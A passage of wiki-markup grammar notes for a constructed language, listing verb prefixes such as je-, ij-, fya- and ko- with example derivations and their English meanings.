::* '''byexer'''....''to beat'' → '''ikbyexer'''....''to beat up''
::* '''agser'''....''to grow'' → '''ikagser'''....''to grow up''

=== Making Verbs Continuative with '''je-''' ===
: Verbs can be given a continuative nuance with the addition of the prefix '''je-''':
::* '''daler'''....''to talk'' → '''jedalar'''....''to go on talking, to blabber''
::* '''tejer'''....''to live'' → '''jetejer'''....''to go on living, to survive''
::* '''yexer'''....''to work'' → '''jeyexer'''....''to go on working, to keep working''
::* '''teaxer'''....''to look'' → '''jeteaxer'''....''to watch''
::* '''teexer'''....''to listen'' → '''jeteexer'''....''to keep listening, to pay attention''
::* '''duler'''....''to insist'' → '''jeduler'''....''to nag''

=== Making Verbs Inchoative with '''ij-''' ===
: Verbs can be given an inchoative nuance with the addition of the prefix '''ij-''':
::* '''texer'''....''to think'' → '''ijtexer'''....''to start to think''
::* '''ifier'''....''to enjoy'' → '''ijifier'''....''to start liking''
::* '''trer'''....''to know'' → '''ijtrer'''....''to get to know''
::* '''baxer'''....''to stir'' → '''ijbaxer'''....''to instigate''
::* '''byaxer'''....''to erect'' → '''ijbyaxer'''....''to establish, to institute''
::* '''dezer'''....''to perform'' → '''ijdezer'''....''to premier, to debut''
::* '''eser'''....''to exist'' → '''ijeser'''....''to come about''
::* '''kaxer'''....''to find'' → '''ijkaxer'''....''to invent''
::* '''magxer'''....''to burn'' → '''ijmagxer'''....''to kindle''
::* '''saxer'''....''to make'' → '''ijsaxer'''....''to create''
::* '''texer'''....''to think'' → '''ijtexer'''....''to conceive''
::* '''tuxer'''....''to teach'' → '''ijtuxer'''....''to initiate''
::* '''xeler'''....''to celebrate'' → '''ijxeler'''....''to inaugurate''

=== Making Verbs Terminative with '''uj-''' ===
: Verbs can be given a terminative nuance with the addition of the prefix '''uj-''':
::* '''telier'''....''to eat'' → '''ujtelier'''....''to finish eating''
::* '''dyeer'''....''to read'' → '''ujdyeer'''....''to finish reading''
::* '''ufteuder'''....''to complain'' → '''ujufteuder'''....''to quit carping''

=== Giving Verbs a Nuance of Pleasure with '''if-''' ===
::* '''tyoper'''....''to walk'' → '''iftyoper'''....''to stroll''
::* '''tuyuxer'''....''to finger'' → '''iftuyuxer'''....''to tickle''
::* '''teaxer'''....''to look'' → '''ifteaxer'''....''to ogle (voyeuristically)''
::* '''piper'''....''to sail'' → '''ifpiper'''....''to go cruising''
::* '''teuder'''....''to shout'' → '''ifteuder'''....''to laugh''
::* '''eker'''....''to play'' → '''ifeker'''....''to have fun''

=== Giving Verbs a Nuance of Displeasure with '''uf-''' ===
::* '''tosier'''....''to feel'' → '''uftosier'''....''to get angry''
::* '''eker'''....''to play'' → '''ufeker'''....''to fight''
::* '''der'''....''to say'' → '''ufder'''....''to express displeasure''
::* '''aluer'''....''to exhale'' → '''ufaluer'''....''to huff''
::* '''daler'''....''to talk'' → '''ufdaler'''....''to rant''

=== Giving Verbs a Nuance of Prohibition with '''of-''' ===
::* '''bier'''....''to take'' → '''ofbier'''....''to steal''
::* '''deler'''....''to declare'' → '''ofdeler'''....''to ban''
::* '''yeper'''....''to enter'' → '''ofyeper'''....''to intrude, break in''
::* '''zeyper'''....''to cross'' → '''ofzeyper'''....''to transgress, poach''
::* '''gelxer'''....''to copy'' → '''ofgelxer'''....''to pirate, plagiarize''
::* '''bekuluer'''....''to administer medicine'' → '''ofbekuluer'''....''to dope''
::* '''nuxuer'''....''to pay'' → '''ofnuxuer'''....''to bribe, pay off, suborn''

=== Giving Verbs a Nuance of Holiness with '''fya-''' ===
::* '''bexler'''....''to keep'' → '''fyabexler'''....''to enshrine''
::* '''buer'''....''to give'' → '''fyabuer'''....''to sacrifice''
::* '''der'''....''to say'' → '''fyader'''....''to bless''
::* '''daler'''....''to speak'' → '''fyadaler'''....''to preach, sermonize''
::* '''diler'''....''to request'' → '''fyadiler'''....''to pray''
::* '''deuzer'''....''to sing'' → '''fyadeuzer'''....''to chant''
::* '''ifrer'''....''to love dearly'' → '''fyaifrer'''....''to worship, adore''
::* '''jader'''....''to predict'' → '''fyajader'''....''to prophesy''
::* '''miluer'''....''to sprinkle'' → '''fyamiluer'''....''to sprinkle with holy water''
::* '''ojvader'''....''to promise'' → '''fyaojvader'''....''to swear''
::* '''xeler'''....''to practice'' → '''fyaxeler'''....''to celebrate''
::* '''koser'''....''to hide'' → '''fyakoser'''....''to go on a retreat, go into hermitage''
::* '''teazer'''....''perform a show'' → '''fyateazer'''....''to perform a miracle''

=== Giving Verbs a Nuance of Profanity with '''fyo-''' ===
::* '''der'''....''to say'' → '''fyoder'''....''to curse''
::* '''diler'''....''to request'' → '''fyodiler'''....''to conjure''
::* '''tyezer'''....''to perform magic'' → '''fyotezer'''....''to engage in black magic''
::* '''xer'''....''to do'' → '''fyoxer'''....''to sin''
=== Expressing Good Actions with '''fi-''' ===
::* '''der'''....''to say'' → '''fider'''....''to praise''
::* '''fer'''....''to want'' → '''fifer'''....''to mean well''
::* '''xer'''....''to do'' → '''fixer'''....''to do well''
::* '''yaker'''....''to expect'' → '''fiyaker'''....''to hope''
::* '''yuxer'''....''to help'' → '''fiyuxer'''....''to benefit''
=== Expressing Bad Actions with '''fu-''' ===
::* '''yevder'''....''to judge'' → '''fuyevder'''....''to critique negatively''
::* '''fer'''....''to want'' → '''fufer'''....''to will ill''
::* '''der'''....''to say'' → '''fuder'''....''to badmouth''
::* '''napxer'''....''to arrange'' → '''funapxer'''....''to mess up''
::* '''yuxer'''....''to help'' → '''fuyuxer'''....''to abuse''

=== Expressing More Intense Actions with '''az-''' ===
::* '''yujber'''....''to close'' → '''&lt;u&gt;az&lt;/u&gt;yujber'''....''to lock''
::* '''der'''....''to say'' → '''&lt;u&gt;az&lt;/u&gt;der'''....''to emphasize''
::* '''duer'''....''to suggest'' → '''&lt;u&gt;az&lt;/u&gt;duer'''....''to urge''
::* '''dizeuder'''....''to laugh'' → '''&lt;u&gt;az&lt;/u&gt;dizeuder'''....''to guffaw''
=== Expressing Less Intense Actions with '''oz-''' ===
::* '''der'''....''to utter'' → '''&lt;u&gt;oz&lt;/u&gt;der'''....''to whisper''
::* '''duer'''....''to suggest'' → '''&lt;u&gt;oz&lt;/u&gt;duer'''....''to hint''
::* '''dizeuder'''....''to laugh'' → '''&lt;u&gt;oz&lt;/u&gt;dizeuder'''....''to chuckle''
::* '''uvteuder'''....''to moan'' → '''&lt;u&gt;oz&lt;/u&gt;uvteuder'''....''to whimper''
::* '''tyoper'''....''to walk'' → '''&lt;u&gt;oz&lt;/u&gt;tyoper'''....''to limp''
=== Expressing ''pre-, fore-'' with '''ja-''' ===
::* '''der'''....''to tell'' → '''&lt;u&gt;ja&lt;/u&gt;der'''....''to foretell, predict''
::* '''teater'''....''to see'' → '''&lt;u&gt;ja&lt;/u&gt;teater'''....''to foresee, preview''
::* '''ter'''....''to know'' → '''&lt;u&gt;ja&lt;/u&gt;ter'''....''to presage, have foreknowledge of''
::* '''yever'''....''to judge'' → '''&lt;u&gt;ja&lt;/u&gt;yever'''....''to prejudge''
::* '''juder'''....''to date'' → '''&lt;u&gt;ja&lt;/u&gt;juder'''....''to antedate''
=== Expressing ''post-, after-'' with '''jo-''' ===
::* '''juder'''....''to date'' → '''&lt;u&gt;jo&lt;/u&gt;juder'''....''to postdate''
::* '''texer'''....''to think'' → '''&lt;u&gt;jo&lt;/u&gt;texer'''....''to reflect on, review''
::* '''uvder'''....''to express sadness'' → '''&lt;u&gt;jo&lt;/u&gt;uvder'''....''to mourn, regret''
::* '''ibler'''....''to obtain'' → '''&lt;u&gt;jo&lt;/u&gt;ibler'''....''to inherit''

=== Expressing ''excessively'' with '''gra-''' ===
::* '''telier'''....''to eat'' → '''&lt;u&gt;gra&lt;/u&gt;telier'''....''to overeat''
::* '''fer'''....''to want'' → '''&lt;u&gt;gra&lt;/u&gt;fer'''....''to covet''
::* '''der'''....''to say'' → '''&lt;u&gt;gra&lt;/u&gt;der'''....''to exaggerate''
::* '''daler'''....''to talk'' → '''&lt;u&gt;gra&lt;/u&gt;daler'''....''to yammer''

=== Expressing ''inadequately'' with '''gro-''' ===
::* '''fyinder'''....''to value'' → '''&lt;u&gt;gro&lt;/u&gt;fyinder'''....''to underestimate''
::* '''mageler'''....''to cook'' → '''&lt;u&gt;gro&lt;/u&gt;mageler'''....''to undercook''
::* '''xaer'''....''to perform'' → '''&lt;u&gt;gro&lt;/u&gt;xaer'''....''to underperform''

=== Expressing ''counter-, contra-'' with '''ov-''' or '''oyv-''' ===
::* '''axler'''....''to act''  → '''&lt;u&gt;ov&lt;/u&gt;axler'''....''to counteract''
::* '''apyexer'''....''to attack'' → '''&lt;u&gt;ov&lt;/u&gt;apyexer'''....''to counterattack''
::* '''daler'''....''to speak'' → '''&lt;u&gt;ov&lt;/u&gt;daler'''....''to oppose''
::* '''der'''....''to say'' → '''&lt;u&gt;oyv&lt;/u&gt;der'''....''to contradict''
::* '''ber'''....''to put'' → '''&lt;u&gt;oyv&lt;/u&gt;ber'''....''to reverse, overturn''
::* '''texer'''....''to think''  → '''&lt;u&gt;oyv&lt;/u&gt;texer'''....''to contest, disagree''
::* '''per'''....''to go'' → '''&lt;u&gt;oyv&lt;/u&gt;per'''....''to contravene''
=== Expressing ''on behalf, for'' with '''av-''' ===
::* '''axler'''....''to act'' → '''&lt;u&gt;av&lt;/u&gt;axler'''....''to act on behalf of''
::* '''daler'''....''to speak'' → '''&lt;u&gt;av&lt;/u&gt;daler'''....''to advocate, speak on behalf of''
::* '''dyundrer'''....''to sign'' → '''&lt;u&gt;av&lt;/u&gt;dyundrer'''....''to endorse''

=== Making Verbs Reflexive with '''ut-''' (''self-, auto-'') ===
::* '''tojber'''....''to kill'' → '''&lt;u&gt;ut&lt;/u&gt;tojber'''....''to commit suicide''
::* '''vyovider'''....''to flatter'' → '''&lt;u&gt;ut&lt;/u&gt;vyovider'''....''to flatter oneself''
::* '''zaypuxwer'''....''to be propelled'' → '''&lt;u&gt;ut&lt;/u&gt;zaypuxwer'''....''to be self-propelled''
::* '''fider'''....''to praise'' → '''&lt;u&gt;ut&lt;/u&gt;fider'''....''to brag''
::* '''gober'''....''to decrement'' → '''&lt;u&gt;ut&lt;/u&gt;gober'''....''to autodecrement''
=== Making Verbs Reciprocal with '''hyuit-''' (''one another'') ===
::* '''tojber'''....''to kill'' → '''&lt;u&gt;hyuit&lt;/u&gt;tojber'''....''to kill one another''
::* '''ifer'''....''to love'' → '''&lt;u&gt;hyuit&lt;/u&gt;ifer'''....''to love one another''

=== Expressing ''inter-, intra-'' with '''eb-''' (''between'') ===
::* '''tadier'''....''to marry'' → '''&lt;u&gt;eb&lt;/u&gt;tadier'''....''to intermarry''
::* '''zyaber'''....''to spread'' → '''&lt;u&gt;eb&lt;/u&gt;zyaber'''....''to intersperse''
::* '''vyexer'''....''to relate'' → '''&lt;u&gt;eb&lt;/u&gt;vyexer'''....''to interrelate''

=== Expressing the Opposite of an Action with '''o-''' (''un-'') ===
::* '''bexler'''....''to keep'' → '''&lt;u&gt;o&lt;/u&gt;bexler'''....''to release, let go of''
::* '''aynser'''....''to integrate'' → '''&lt;u&gt;o&lt;/u&gt;aynser'''....''to disintegrate, to decay''
::* '''beler'''....''to carry'' → '''&lt;u&gt;o&lt;/u&gt;beler'''....''to drop''
::* '''bier'''....''to take'' → '''&lt;u&gt;o&lt;/u&gt;bier'''....''to leave, relinquish''
::* '''boser'''....''to be quiet'' → '''&lt;u&gt;o&lt;/u&gt;boser'''....''to be upset''
::* '''drer'''....''to write'' → '''&lt;u&gt;o&lt;/u&gt;drer'''....''to erase''

::&lt;small&gt;Note: If the base verb already begins with the negative prefix '''o-''', then the prefix is changed to '''ol-''', eg. '''obexler'''....''to release'' → '''&lt;u&gt;ol&lt;/u&gt;obexwa'''....''to unrelease''  &lt;/small&gt;

=== Expressing a Public or Official Action with '''do-''' ===
:: '''Do-''' is a stub for '''dot''' (''society'').

::* '''afder'''....''to allow'' → '''&lt;u&gt;do&lt;/u&gt;afder'''....''to authorize''
::* '''bier'''....''to take'' → '''&lt;u&gt;do&lt;/u&gt;bier'''....''to conquer, take over, take control of''
::* '''tojber'''....''to kill'' → '''&lt;u&gt;do&lt;/u&gt;tojber'''....''to execute''
::* '''buer'''....''to give'' → '''&lt;u&gt;do&lt;/u&gt;buer'''....''to dedicate''
::* '''daler'''....''to speak'' → '''&lt;u&gt;do&lt;/u&gt;daler'''....''to orate, speak in public''
::* '''deler'''....''to declare'' → '''&lt;u&gt;do&lt;/u&gt;deler'''....''to announce''
::* '''drer'''....''to write'' → '''&lt;u&gt;do&lt;/u&gt;drer'''....''to publicize, report''

=== Giving Verbs a Nuance of Truth with '''vya-''' ===
::* '''der'''....''to say'' → '''&lt;u&gt;vya&lt;/u&gt;der'''....''to avow, be frank''
::* '''ber'''....''to set, put'' → '''&lt;u&gt;vya&lt;/u&gt;ber'''....''to control''
::* '''napxer'''...''to arrange, order'' → '''&lt;u&gt;vya&lt;/u&gt;napxer'''....''to adjust''
::* '''kexer'''....''to seek'' → '''&lt;u&gt;vya&lt;/u&gt;kexer'''....''to investiage''
::* '''tuer'''....''to inform'' → '''&lt;u&gt;vya&lt;/u&gt;tuer'''....''to advise''

=== Giving Verbs of Nuance of Falseness with '''vyo-''' ===
::* '''der'''....''to say'' → '''&lt;u&gt;vyo&lt;/u&gt;der'''....''to lie, to misstate''
::* '''tester'''....''to understand'' → '''&lt;u&gt;vyo&lt;/u&gt;tester'''....''to misunderstand''
::* '''tuer'''....''to inform'' → '''&lt;u&gt;vyo&lt;/u&gt;tuer'''....''to misinform, to deceive''
::* '''xer'''....''to do'' → '''&lt;u&gt;vyo&lt;/u&gt;xer'''....''to do wrong, fail, misdo''
::* '''yuxler'''....''to serve'' → '''&lt;u&gt;vyo&lt;/u&gt;yuxler'''....''to betray, to serve unfaithfully''
=== Making Verbs Positive with '''va-''' ===
::* '''der'''....''to say'' → '''&lt;u&gt;va&lt;/u&gt;der'''....''to affirm''
::* '''texer'''....''to think'' → '''&lt;u&gt;va&lt;/u&gt;texer'''....''to believe''
::* '''yeker'''....''to expect'' → '''&lt;u&gt;va&lt;/u&gt;yeker'''....''to presume''
::* '''bier'''.....''to take'' → '''&lt;u&gt;va&lt;/u&gt;bier'''....''to accept''
=== Making Verbs Negative with '''vo-''' ===
::* '''der'''....''to say'' → '''&lt;u&gt;vo&lt;/u&gt;der'''....''to deny''
::* '''texer'''....''to think'' → '''&lt;u&gt;vo&lt;/u&gt;texer'''....''to doubt''
::* '''yeker'''....''to expect'' → '''&lt;u&gt;vo&lt;/u&gt;yeker'''....''to rule out''
::* '''bier'''.....''to take'' → '''&lt;u&gt;vo&lt;/u&gt;bier'''....''to reject''
=== Making Verbs Suppositional with '''ve-''' ===
::* '''der'''....''to say'' → '''&lt;u&gt;ve&lt;/u&gt;der'''....''to conjecture''
::* '''texer'''....''to think'' → '''&lt;u&gt;ve&lt;/u&gt;texer'''....''to suppose, hypothesize''
::* '''yovder'''....''to blame'' → '''&lt;u&gt;ve&lt;/u&gt;yovder'''....''to indict, accuse''
=== Speeding up Verbs with '''ig-''' ===
::* '''pier'''....''to leave'' → '''&lt;u&gt;ig&lt;/u&gt;pier'''....''to flee''
::* '''pyoser'''....''to drop'' → '''&lt;u&gt;ig&lt;/u&gt;pyoser'''....''to plummet''
::* '''tyoper'''....''to walk'' → '''&lt;u&gt;ig&lt;/u&gt;tyoper'''....''to run''
::* '''yeper'''....''to enter'' → '''&lt;u&gt;ig&lt;/u&gt;yeper'''....''to rush in''
=== Slowing up Verbs with '''ug-''' ===
::* '''paser'''....''to move'' → '''&lt;u&gt;ug&lt;/u&gt;paser'''....''to amble''
::* '''teaxer'''....''to look'' → '''&lt;u&gt;ug&lt;/u&gt;teaxer'''....''to gaze''
::* '''ilper'''....''to flow'' → '''&lt;u&gt;ug&lt;/u&gt;ilper'''....''to trickle''
::* '''tilier'''....''to drink'' → '''&lt;u&gt;ug&lt;/u&gt;tilier'''....''to sip''
=== Expressing the Nuance of Suddenness with '''yok-''' ===
::* '''baxer'''....''to stir'' → '''&lt;u&gt;yok&lt;/u&gt;baxer'''....''to startle''
::* '''hihider'''....''to laugh'' → '''&lt;u&gt;yok&lt;/u&gt;hihider'''....''to burst out laughing''
::* '''teaser'''....''to appear'' → '''&lt;u&gt;yok&lt;/u&gt;teaser'''....''to suddenly appear''
::* '''yoktojer'''....''to die'' → '''&lt;u&gt;yok&lt;/u&gt;tojer'''....''to drop dead''
=== Expressing the Notion of Fixedness with '''kyo-''' ===
::* '''byaser'''....''to stand'' → '''&lt;u&gt;kyo&lt;/u&gt;byaser'''....''to stand still''
::* '''kexer'''....''to seek'' → '''&lt;u&gt;kyo&lt;/u&gt;kexer'''....''to hound, stalk''
::* '''teaxer'''....''to look'' → '''&lt;u&gt;kyo&lt;/u&gt;teaxer'''....''to stare, glare''
::* '''texer'''....''to think'' → '''&lt;u&gt;kyo&lt;/u&gt;texer'''....''to obsess with, fixate on''
=== Expression the Notion of Randomness or Chance with '''kye-'''===
::* '''der'''....''to say'' → '''&lt;u&gt;kye&lt;/u&gt;der'''....''to guess, divine''
::* '''per'''....''to per'' → '''&lt;u&gt;kye&lt;/u&gt;per'''....''to fluctuate''
::* '''poper'''....''to travel'' → '''&lt;u&gt;kye&lt;/u&gt;poper'''....''to wander''
::* '''napxer'''....''to order'' → '''&lt;u&gt;kye&lt;/u&gt;napxer'''....''to scramble, shuffle''
::* '''bier'''....''to take'' → '''&lt;u&gt;kye&lt;/u&gt;bier'''....''to select''
::* '''kaxer'''....''to find'' → '''&lt;u&gt;kye&lt;/u&gt;kaxer'''....''to discover, to find by chance''
::* '''vyabxer'''....''to check'' → '''&lt;u&gt;kye&lt;/u&gt;vabxer'''....''to spot check''

=== Expressing the Notion of Change with '''kya-''' ===
::* '''baser'''....''to make a move'' → '''&lt;u&gt;kya&lt;/u&gt;baser'''....''to shift''
::* '''sanxer'''....''to form'' → '''&lt;u&gt;kya&lt;/u&gt;sanxer'''....''to transform''
::* '''xer'''....''to do/make'' → '''&lt;u&gt;kya&lt;/u&gt;xer'''....''to change''
::* '''napxer'''....''to order'' → '''&lt;u&gt;kya&lt;/u&gt;napxer'''....''to shuffle''
::* '''dyanxer'''....''to phrase'' → '''&lt;u&gt;kya&lt;/u&gt;dyanxer'''....''to paraphrase''
=== Expressing Covert Actions with '''ko-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;ko&lt;/u&gt;ber'''....''to hide''
::* '''beler'''....''to carry'' → '''&lt;u&gt;ko&lt;/u&gt;beler'''....''to smuggle''
::* '''bier'''....''to take'' → '''&lt;u&gt;ko&lt;/u&gt;bier'''....''to steal''
::* '''ebkyaxer'''....''to exchange'' → '''&lt;u&gt;ko&lt;/u&gt;ebkyaxer'''....''to traffic''
::* '''exer'''....''to operate'' → '''&lt;u&gt;ko&lt;/u&gt;exer'''....''to spy, operate under cover''
::* '''fler'''....''to wish for'' → '''&lt;u&gt;ko&lt;/u&gt;fler'''....''to covet, be jealous of''
::* '''apyexer'''....''to attack'' → '''&lt;u&gt;ko&lt;/u&gt;apyexer'''....''to ambush, to sneak-attack''
::* '''loexer'''....''to destroy'' → '''&lt;u&gt;ko&lt;/u&gt;loexer'''....''to sabotage''
=== Expressing Actions with Intentionality with '''ke-''' ===
::* '''teaxer'''....''to look'' → '''&lt;u&gt;ke&lt;/u&gt;teaxer'''....''to scan''
::* '''vyaxer'''....''to prove'' → '''&lt;u&gt;ke&lt;/u&gt;vyaxer'''....''to experiment''
::* '''tier'''....''to learn'' → '''&lt;u&gt;ke&lt;/u&gt;tier'''....''to be interested in''
::* '''bier'''....''to take'' → '''&lt;u&gt;ke&lt;/u&gt;bier'''....''to choose''
::* '''pexer'''....''to catch'' → '''&lt;u&gt;ke&lt;/u&gt;pexer'''....''to hunt''

=== Expressing Lateral Actions with '''ku-''' ===
::* '''buxer'''....''to push'' → '''&lt;u&gt;ku&lt;/u&gt;buxer'''....''to rebuff, shun''
::* '''der'''....''to say'' → '''&lt;u&gt;ku&lt;/u&gt;der'''....''to comment, remark''
::* '''tyoper'''....''to step'' → '''&lt;u&gt;ku&lt;/u&gt;tyoper'''....''to step aside''
=== Expressing Diagonal Actions with '''ki-''' ===
::* '''teaxer'''....''to look'' → '''&lt;u&gt;ki&lt;/u&gt;teaxer'''....''to look askance at''
::* '''tuxer'''....''to teach'' → '''&lt;u&gt;ki&lt;/u&gt;tuxer'''....''to brainwash''
::* '''tyoper'''....''to walk'' → '''&lt;u&gt;ki&lt;/u&gt;tyoper'''....''to limp''
::* '''pyoser'''....''to fall'' → '''&lt;u&gt;ki&lt;/u&gt;pyoser'''....''to slip and fall''
::* '''per'''....''to go'' → '''&lt;u&gt;ki&lt;/u&gt;per'''....''to slide''

=== Expressing Near Actions with '''yub-'''===
::* '''der'''....''to say'' → '''&lt;u&gt;yub&lt;/u&gt;der'''....''to intimate, hint''
::* '''gexer'''....''to equate'' → '''&lt;u&gt;yub&lt;/u&gt;gexer'''....''to approximate''
::* '''bixer'''....''to pull'' → '''&lt;u&gt;yu(b)&lt;/u&gt;bixer'''....''to attract, draw near''
::* '''teaxer'''....''to look'' → '''&lt;u&gt;yub&lt;/u&gt;teaxer'''....''to scrutinize, examine''

=== Expressing Distance Actions with '''yib-''' (''far, tele-'') ===
::* '''drer'''....''to write'' → '''&lt;u&gt;yib&lt;/u&gt;drer'''....''to wire, telegraph''
::* '''bixer'''....''to pull'' → '''&lt;u&gt;yi(b)&lt;/u&gt;bixer'''....''to distract''
::* '''tuier'''....''to communicate'' → '''&lt;u&gt;yib&lt;/u&gt;tuier'''....''to telecommunicate''
::* '''nyuxer'''....''to deliver'' → '''&lt;u&gt;yib&lt;/u&gt;nyuxer'''....''to mail, post''

=== Expressing ''up-, super-'' with '''yab-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;ya(b)&lt;/u&gt;ber'''....''to raise, to put up''
::* '''bixler'''....''to drag'' → '''&lt;u&gt;ya(b)&lt;/u&gt;bixler'''....''to dredge up''
::* '''uper'''....''to come'' → '''&lt;u&gt;yab&lt;/u&gt;uper'''....''to come up''
::* '''nogyanxer'''....''to scale'' → '''&lt;u&gt;yab&lt;/u&gt;nogyanxer'''....''to scale up, escalate''

=== Expressing ''down-, sub-'' with '''yob-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;yo(b)&lt;/u&gt;ber'''....''to lower, put down''
::* '''kyaber'''....''to shift'' → '''&lt;u&gt;yob&lt;/u&gt;kyaxer'''....''to downshift''
::* '''musper'''....''to climb'' → '''&lt;u&gt;yob&lt;/u&gt;musper'''....''to climb down''
::* '''nogyanxer'''....''to scale'' → '''&lt;u&gt;yob&lt;/u&gt;nogyanxer'''....''to downscale''

=== Expressing ''in-'' with '''yeb-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;ye(b)&lt;/u&gt;ber'''....''to insert, put in''
::* '''beler'''....''to carry'' → '''&lt;u&gt;ye(b)&lt;/u&gt;beler'''....''to import''
::* '''uzber'''....''to bend'' → '''&lt;u&gt;yeb&lt;/u&gt;uzber'''....''to inflect''
::* '''yujber'''....''to close'' → '''&lt;u&gt;yeb&lt;/u&gt;yujber'''....''to enclose, include''

=== Expressing ''out-, ex-, extra-'' with '''oyeb-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;oye&lt;/u&gt;ber'''....''to put out, expose''
::* '''beler'''....''to carry'' → '''&lt;u&gt;oye&lt;/u&gt;beler'''....''to export''
::* '''uber'''....''to send'' → '''&lt;u&gt;oyeb&lt;/u&gt;uber'''....''to emit, send out''
::* '''yujber'''....''to close'' → '''&lt;u&gt;oyeb&lt;/u&gt;yujber'''....''to exclude''

=== Expressing ''pro-, forward'' with '''zay-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;zay&lt;/u&gt;ber'''....''to advance, put forward''
::* '''kexer'''....''to seek'' → '''&lt;u&gt;zay&lt;/u&gt;kexer'''....''to scout out''
::* '''puxer'''....''to throw'' → '''&lt;u&gt;zay&lt;/u&gt;puxer'''....''to propel, thrust''
::* '''tyoper'''....''to walk'' → '''&lt;u&gt;zay&lt;/u&gt;tyoper'''....''to progress, to walk forward''

=== Expressing ''back-, retro-, re-'' with '''zoy-''' ===
::* '''uber'''....''to send'' → '''&lt;u&gt;zoy&lt;/u&gt;ber'''....''to send back''
::* '''kixer'''....''to bend'' → '''&lt;u&gt;zoy&lt;/u&gt;kixer'''....''to reflect''
::* '''puxer'''....''to throw'' → '''&lt;u&gt;zoy&lt;/u&gt;puxer'''....''to repel''
::* '''neadper'''....''to track'' → '''&lt;u&gt;zoy&lt;/u&gt;neadper'''....''to backtrack''

=== Expressing ''across, trans-, over-, cross-'' with '''zey-''' ===
::* '''per'''....''to go'' → '''&lt;u&gt;zey&lt;/u&gt;per'''....''to cross, transit''
::* '''beler'''....''to carry'' → '''&lt;u&gt;zey&lt;/u&gt;beler'''....''to transport, convey''
::* '''drer'''....''to write'' → '''&lt;u&gt;zey&lt;/u&gt;drer'''....''to transcribe''
::* '''kyober'''....''to fix'' → '''&lt;u&gt;zey&lt;/u&gt;kyober'''....''to transfix, transplant''
::* '''vyayeker'''....''to check'' → '''&lt;u&gt;zey&lt;/u&gt;vyayeker'''....''to crosscheck''

=== Expressing ''through, per-'' with '''zye-''' ===
::* '''per'''....''to go'' → '''&lt;u&gt;zye&lt;/u&gt;per'''....''to permeate, get through''
::* '''kexer'''....''to seek'' → '''&lt;u&gt;zye&lt;/u&gt;kexer'''....''to rummage, sift through''
::* '''drer'''....''to write'' → '''&lt;u&gt;zye&lt;/u&gt;drer'''....''to cross out, draw a line through''
::* '''iluer'''....''to pour'' → '''&lt;u&gt;zye&lt;/u&gt;iluer'''....''to soak''
::* '''koper'''....''to sneak'' → '''&lt;u&gt;zye&lt;/u&gt;koper'''....''to sneak through''
=== Expressing ''all over, widely, all about'' with '''zya-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;zya&lt;/u&gt;ber'''....''to spread''
::* '''buer'''....''to give'' → '''&lt;u&gt;zya&lt;/u&gt;buer'''....''to distribute''
::* '''ijber'''....''to open'' → '''&lt;u&gt;zya&lt;/u&gt;ijber'''....''to open wide''
::* '''nuxer'''....''to pay'' → '''&lt;u&gt;zya&lt;/u&gt;nuxer'''....''to disburse''
::* '''puxer'''....''to throw'' → '''&lt;u&gt;zya&lt;/u&gt;puxer'''....''to scatter, cast about''

=== Expressing ''mid-, center'' with '''ze-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;ze&lt;/u&gt;ber'''....''to balance''
::* '''byaser'''....''to stand'' → '''&lt;u&gt;ze&lt;/u&gt;byaser'''....''to straddle''
::* '''der'''....''to say'' → '''&lt;u&gt;ze&lt;/u&gt;der'''....''to interject''
::* '''pyoser'''....''to fall'' → '''&lt;u&gt;ze&lt;/u&gt;pyoser'''....''to sag''
::* '''poxer'''....''to stop'' → '''&lt;u&gt;ze&lt;/u&gt;poxer'''....''to interrupt''
=== Expressing ''futurity'' with '''oj-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;oj&lt;/u&gt;ber'''....''to put off, postpone''
::* '''bier'''....''to take'' → '''&lt;u&gt;oj&lt;/u&gt;bier'''....''to borrow''
::* '''fer'''....''to want'' → '''&lt;u&gt;oj&lt;/u&gt;fer'''....''to wish, aspire''
::* '''texer'''....''to think'' → '''&lt;u&gt;oj&lt;/u&gt;texer'''....''to plan''
::* '''teater'''....''to see'' → '''&lt;u&gt;oj&lt;/u&gt;teater'''....''to envision''
::* '''vader'''....''to affirm'' → '''&lt;u&gt;oj&lt;/u&gt;vader'''....''to promise''
=== Expressing ''past'' with '''aj-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;aj&lt;/u&gt;ber'''....''to pass, relegate to the past''
::* '''der'''....''to say'' → '''&lt;u&gt;aj&lt;/u&gt;der'''....''to evoke, hearken, recount''
::* '''embier'''....''to occupy'' → '''&lt;u&gt;aj&lt;/u&gt;embier'''....''to haunt''
::* '''texer'''....''to think'' → '''&lt;u&gt;aj&lt;/u&gt;texer'''....''to reminisce, to reflect''
::* '''uvtosder'''....''to express sadness'' → '''&lt;u&gt;aj&lt;/u&gt;uvtosder'''....''to apologize''
::* '''nexer'''....''to store'' → '''&lt;u&gt;aj&lt;/u&gt;nexer'''....''to archive''
=== Expressing ''present'' with '''ej-''' ===
::* '''buer'''....''to give'' → '''&lt;u&gt;ej&lt;/u&gt;buer'''....''to present''
::* '''eser'''....''to exist'' → '''&lt;u&gt;ej&lt;/u&gt;eser'''....''to attend, to be present''
::* '''nuxer'''....''to pay'' → '''&lt;u&gt;ej&lt;/u&gt;nuxer'''....''to pay cash''
::* '''tuer'''....''to inform'' → '''&lt;u&gt;ej&lt;/u&gt;tuer'''....''to update''
::* '''uvtosder'''....''to express sadness'' → '''&lt;u&gt;ej&lt;/u&gt;uvtosder'''....''to apologize''
=== Expressing a stretched out action with '''yag-''' (''long'') ===
::* '''beser'''....''to stay'' → '''&lt;u&gt;yag&lt;/u&gt;beser'''....''to linger''
::* '''bexer'''....''to hold'' → '''&lt;u&gt;yag&lt;/u&gt;bexer'''....''to conserve, preserve''
::* '''daler'''....''to talk'' → '''&lt;u&gt;yag&lt;/u&gt;daler'''....''to ramble''
::* '''dodaler'''....''to orate'' → '''&lt;u&gt;yag&lt;/u&gt;dodaler'''....''to harangue''
::* '''fer'''....''to want'' → '''&lt;u&gt;yag&lt;/u&gt;fer'''....''to yearn, pine''
::* '''teaxer'''....''to look'' → '''&lt;u&gt;yag&lt;/u&gt;teaxer'''....''to stare''
::* '''fer'''....''to want'' → '''&lt;u&gt;yag&lt;/u&gt;fer'''....''to yearn, pine''
